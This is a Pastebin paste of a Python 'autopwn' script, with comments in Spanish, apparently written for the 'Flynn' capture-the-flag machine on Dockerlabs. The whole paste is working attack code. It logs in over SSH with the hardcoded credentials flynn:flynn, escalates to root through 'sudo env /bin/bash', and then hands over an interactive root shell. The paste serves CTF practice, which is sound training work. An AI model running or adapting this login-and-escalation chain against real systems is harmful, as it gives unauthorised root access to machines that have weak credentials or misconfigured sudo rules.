mikisbd

Autopwn para CTF Flynn - Dockerlabs

Sep 30th, 2026 (edited)
63
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.61 KB | Cybersecurity | 0 0
  1. #!/usr/bin/env python3
  2. """
  3. Autopwn - SSH flynn:flynn + sudo env /bin/bash → root
  4. Uso: python3 autopwn.py <IP>
  5. """
  6.  
  7. import sys
  8. import time
  9. import paramiko
  10.  
  11. # ==================== CONFIGURACIÓN ====================
  12. USERNAME = "flynn"
  13. PASSWORD = "flynn"
  14. SSH_PORT = 22
  15. PRIVESC_CMD = "sudo env /bin/bash"
  16.  
  17.  
  18. def log(msg, level="*"):
  19.     symbols = {"*": "[*]", "+": "[+]", "-": "[-]"}
  20.     print(f"{symbols.get(level, '[*]')} {msg}", flush=True)
  21.  
  22.  
  23. def main():
  24.     if len(sys.argv) < 2:
  25.         print(f"Uso: {sys.argv[0]} <IP>")
  26.         sys.exit(1)
  27.  
  28.     host = sys.argv[1]
  29.     print("=" * 55)
  30.     print(f"  AUTOPWN - {host}")
  31.     print(f"  Usuario: {USERNAME} | Escalada: {PRIVESC_CMD}")
  32.     print("=" * 55)
  33.  
  34.     # 1. Conexión SSH
  35.     log(f"Conectando a {host}:{SSH_PORT}...")
  36.     client = paramiko.SSHClient()
  37.     client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  38.     try:
  39.         client.connect(host, port=SSH_PORT, username=USERNAME,
  40.                        password=PASSWORD, timeout=15,
  41.                        allow_agent=False, look_for_keys=False)
  42.         log("Conexión SSH establecida", "+")
  43.     except paramiko.AuthenticationException:
  44.         log("Autenticación fallida (usuario/contraseña incorrectos)", "-")
  45.         sys.exit(1)
  46.     except Exception as e:
  47.         log(f"Error de conexión: {e}", "-")
  48.         sys.exit(1)
  49.  
  50.     # 2. Verificar usuario actual
  51.     _, out, _ = client.exec_command("id")
  52.     log(f"Usuario actual: {out.read().decode().strip()}")
  53.  
  54.     # 3. Abrir shell interactiva como root
  55.     log("Abriendo shell como root...")
  56.     shell = client.invoke_shell()
  57.     time.sleep(1)
  58.  
  59.     # Enviar el comando de escalada
  60.     shell.send(f"{PRIVESC_CMD}\n")
  61.     time.sleep(2)
  62.  
  63.     # Leer salida inicial
  64.     while shell.recv_ready():
  65.         print(shell.recv(65535).decode(errors="replace"), end="")
  66.  
  67.     log("Escribe comandos. 'exit' para salir.", "+")
  68.     print("-" * 55)
  69.  
  70.     # 4. Bucle interactivo
  71.     try:
  72.         while True:
  73.             cmd = input()
  74.             if cmd.strip().lower() in ("exit", "quit"):
  75.                 break
  76.             shell.send(cmd + "\n")
  77.             time.sleep(0.4)
  78.             while shell.recv_ready():
  79.                 print(shell.recv(65535).decode(errors="replace"), end="")
  80.     except (KeyboardInterrupt, EOFError):
  81.         pass
  82.     finally:
  83.         shell.close()
  84.         client.close()
  85.         log("Conexión cerrada", "+")
  86.  
  87.  
  88. if __name__ == "__main__":
  89.     try:
  90.         import paramiko
  91.     except ImportError:
  92.         print("[-] Falta paramiko. Instálalo con: pip install paramiko")
  93.         sys.exit(1)
  94.  
  95.     main()
Advertisement
Add Comment
Please, Sign In to add comment